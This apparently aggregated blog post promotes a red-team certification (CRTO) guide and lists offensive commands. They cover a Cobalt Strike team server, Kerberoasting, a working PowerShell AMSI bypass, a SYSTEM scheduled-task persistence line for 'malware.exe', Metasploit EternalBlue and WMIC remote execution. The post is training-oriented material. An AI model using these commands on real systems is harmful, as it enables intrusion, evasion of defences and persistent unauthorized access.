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If you’re preparing for Certified Red Team Operator (CRTO) or want to sharpen your adversary emulation skills, this resource is invaluable. Check out the detailed guide here: Mastering CRTO.
What’s Inside?
- Cobalt Strike: Beacons, pivoting, and advanced tactics.
- AD Attacks: Lateral movement, Kerberoasting, DCSync, and more.
- Bypassing Defenses: EDR evasion, AMSI bypass, OPSEC tricks.
- Persistence & PrivEsc: Staying stealthy like real APTs.
You Should Know:
Cobalt Strike Basics
Cobalt Strike is a popular tool for red team operations. Here are some basic commands to get started:
<h1>Start Cobalt Strike team server</h1> ./teamserver <your_ip> <password> <h1>Connect to the team server from the Cobalt Strike client</h1> ./cobaltstrike
Active Directory Attacks
Lateral movement and privilege escalation are key in red teaming. Here’s how to perform a basic Kerberoasting attack:
<h1>Use Impacket's GetUserSPNs.py for Kerberoasting</h1> GetUserSPNs.py -request -dc-ip <DC_IP> <domain>/<user>:<password>
Bypassing Defenses
Evading EDR and AMSI is crucial. Here’s a simple AMSI bypass using PowerShell:
<h1>AMSI Bypass</h1>
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Persistence Techniques
Maintaining access is a critical part of red teaming. Here’s how to create a scheduled task for persistence:
<h1>Create a scheduled task for persistence</h1> schtasks /create /tn "PersistenceTask" /tr "C:\path\to\malware.exe" /sc onstart /ru SYSTEM
Privilege Escalation
Privilege escalation is often necessary to gain full control. Here’s a basic example using Windows:
<h1>Use Windows Exploit Suggester to find potential exploits</h1> python windows-exploit-suggester.py --database 2023-10-01-mssb.xls --systeminfo systeminfo.txt
What Undercode Say:
Mastering CRTO requires a deep understanding of red teaming tools and techniques. From Cobalt Strike to advanced Active Directory attacks, the key is to practice and refine your skills. Use the commands and techniques shared above to get hands-on experience. Remember, the best way to learn is by doing, so set up a lab environment and start experimenting. For more detailed guidance, refer to the Mastering CRTO resource.
Additional Linux and Windows Commands for Red Teaming:
Linux Commands
<h1>Nmap scan for network reconnaissance</h1> nmap -sV -sC -oA scan_results <target_ip> <h1>Metasploit framework for exploitation</h1> msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS <target_ip> exploit
Windows Commands
<h1>PowerShell script for network discovery</h1> Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State <h1>Windows Management Instrumentation (WMI) for remote execution</h1> wmic /node:<target_ip> process call create "cmd.exe /c <command>"
By integrating these commands and techniques into your red teaming practice, you’ll be well on your way to mastering CRTO and becoming a proficient red team operator.
References:
Reported By: Sabber Hossen – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
